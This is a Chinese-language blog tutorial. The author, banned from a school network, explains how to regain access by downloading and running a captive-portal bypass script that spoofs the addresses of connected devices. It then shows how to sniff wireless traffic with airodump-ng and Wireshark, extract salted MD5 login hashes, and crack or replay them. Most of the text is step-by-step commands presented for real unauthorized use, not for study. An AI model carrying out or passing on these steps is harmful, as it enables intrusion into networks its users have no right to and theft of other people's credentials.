本文简要阐述如何通过脚本进行MAC spoofing连上学校无线网,并针对其中设备进行嗅探/情报收集
并非每个设备都支持WPA2验证,在很多公共设施(酒店,机场,学校)都会提供使用captive portal的无线网:
用户连上后被导入验证页面,然后输入帐号密码上网。这种验证方式并非天衣无缝,相反,有很多种方法可以绕过,甚至能危害这些公共网络中设备的安全性,造成安全隐患。
DEFCON 2016的演讲中就涉及到如何针对captive portal实现攻击,其中主要办法有:
这里详细介绍第三种。笔者此前被学校IT部禁止使用校园网,原有帐号肯定不行了,但道高一尺,魔高一仗,世界上没有密不透风的墙(嘿嘿)
笔者的系统是Ubuntu 18.04, 此方法适合用于大部分Linux系统
安装nmap和sipcalc:
sudo apt -y install sipcalc nmap
下载脚本:
wget https://raw.githubusercontent.com/systematicat/hack-captive-portals/master/hack-captive.sh
sudo chmod u+x hack-captive.sh
执行脚本:
sudo ./hack-captive.sh
当你看到这行字,就可以连上网啦:
Pwned! Now you can surf the Internet!
注意,这个脚本的原理是用nmap扫描无线网中的ip,然后不断伪造成某个ip欺骗地址,其实未必要等到出现这行字才能连上网。跟据DEFCON 2016的演讲,频繁更改IP地址并不会立即连上无线网,但一般在30秒之后就可以正常了(网络服务器需要响应时间)。如果手动更改MAC地址也是可以的,其实是一样的原理,脚本自动化程度更高
连上网之后登录localhost,发现是某台打印机QAQ
注意:此法需要已有连上网络的设备,是一种中间人攻击方法
那么问题来了,如果你用的系统不是linux呢?不用急,我们有虚拟机
下载virtual box,安插USB wifi天线,安装Kali镜像,开机!
安装好nmap和脚本后,安装额外的dependency:
sudo apt install wpasupplicant
sudo apt install haveged hostapd git util-linux procps iproute2 iw dnsmasq iptables
git clone https://github.com/oblique/create_ap
cd create_ap
sudo make -j6 install #笔者6核CPU
cd .. && rm -rf create_ap
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
关闭和主机host的连接:
sudo ip link set eth0 down
sudo nano wpa_sup.conf
输入如下内容:
network={
ssid="i_spac_5FL-2.4GHz"
key_mgmt=NONE
priority=100
}
把如下wlan0更换为你的wifi网卡名字:
sudo wpa_supplicant -i wlan0 -c wpa_sup.conf
等到直到出现如下的文字:
wlan0: CTRL-EVENT-CONNECTED - Connection to 88:dc:96:55:19:e4 completed [id=0 id_str=]
ctrl + alt + T打开另一个terminal:
sudo dhclient wlan0
sudo ./hack-captive.sh
使用如下格式设置热点:
sudo create_ap
如:
sudo create_ap wlan1 wlan0 myHotSpot
其中wlan1为热点广播interface,wlan0为虚拟机wifi interface, myHotSpot是你热点的名称
如果要设置密码使用如下的格式:
sudo create_ap
这样我们就通过虚拟机连上了wifi,并且生成了热点,我们的主机windows就可以连接此热点上网了
注:此法需要额外USB wifi天线,推荐Panda双波段天线支持2.4和5GHz数据链
使用Kali:
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
开启WIFI天线监听模式:
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up
开始监听:
sudo airodump-ng wlan0
选择channel 10 监听,抓到的数据包存在/root/cap
sudo airodump-ng --channel 10 -w /root/cap wlan0
wireshark打开数据包:
tcp.port == 80
只显示HTTP数据包
我们发现密码是一串加盐MD5
利用hashcat配合GPU,彩虹表爆破~~
如果破不出来也不要紧,因为服务器不会在意你到底有没有原始密码,你可以直接把这串哈希发上去
此文不方便放图(怕被查水表)大家看看就好,